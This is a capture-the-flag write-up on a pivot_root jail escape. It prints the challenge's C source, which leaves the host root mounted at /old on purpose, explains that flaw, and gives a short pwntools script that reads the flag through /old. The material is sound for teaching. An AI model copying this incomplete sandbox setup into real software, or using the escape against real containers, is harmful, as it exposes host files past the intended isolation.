Mount Namespace and pivot_root Escape
Challenge Source Code
#include <assert.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
for (int i = 3; i < 10000; i++)
close(i);
char new_root[] = "/tmp/jail-XXXXXX";
char old_root[1024];
assert(geteuid() == 0);
// Create a new mount namespace
assert(unshare(CLONE_NEWNS) != -1);
// Create the jail root
assert(mkdtemp(new_root) != NULL);
// Change / to a private mount to allow pivot_root
assert(mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL) != -1);
// Bind-mount the new root over itself
assert(mount(new_root, new_root, NULL, MS_BIND, NULL) != -1);
// Create a directory for the old root
snprintf(old_root, sizeof(old_root), "%s/old", new_root);
assert(mkdir(old_root, 0777) != -1);
// Pivot the root filesystem
assert(syscall(SYS_pivot_root, new_root, old_root) != -1);
// Bind-mount essential system directories
assert(mkdir("/bin", 0755) != -1);
assert(mount("/old/bin", "/bin", NULL, MS_BIND, NULL) != -1);
assert(mkdir("/usr", 0755) != -1);
assert(mount("/old/usr", "/usr", NULL, MS_BIND, NULL) != -1);
assert(mkdir("/lib", 0755) != -1);
assert(mount("/old/lib", "/lib", NULL, MS_BIND, NULL) != -1);
assert(mkdir("/lib64", 0755) != -1);
assert(mount("/old/lib64", "/lib64", NULL, MS_BIND, NULL) != -1);
setresuid(0, 0, 0);
assert(chdir("/") == 0);
int fffd = open("/flag", O_WRONLY | O_CREAT);
write(fffd, "try harder", 10);
close(fffd);
assert(execl("/bin/bash", "/bin/bash", "-p", NULL) != -1);
}Vulnerability Analysis
The challenge uses pivot_root to change the system root to a new directory. pivot_root moves the current root mount to a specified subdirectory (in this case, /old) and makes the new directory the root.
The vulnerability is that the program fails to unmount the old root from /old after the pivot. While it sets up a jail, it explicitly preserves access to the entire host filesystem at the /old mount point.
Exploitation Plan
- Identify Old Root: The old root filesystem is mounted at
/old. - Access Flag: Since
/oldcorresponds to the hostβs real root, the real flag (at/flagon the host) is accessible at/old/flag. - Read Flag: Use the provided shell to read the file.
Exploit Script
from pwn import *
elf = context.binary = ELF("./challenge")
p = process(elf.path)
# Access the flag through the preserved root
p.sendline(b"cat /old/flag")
print(p.recvall().decode())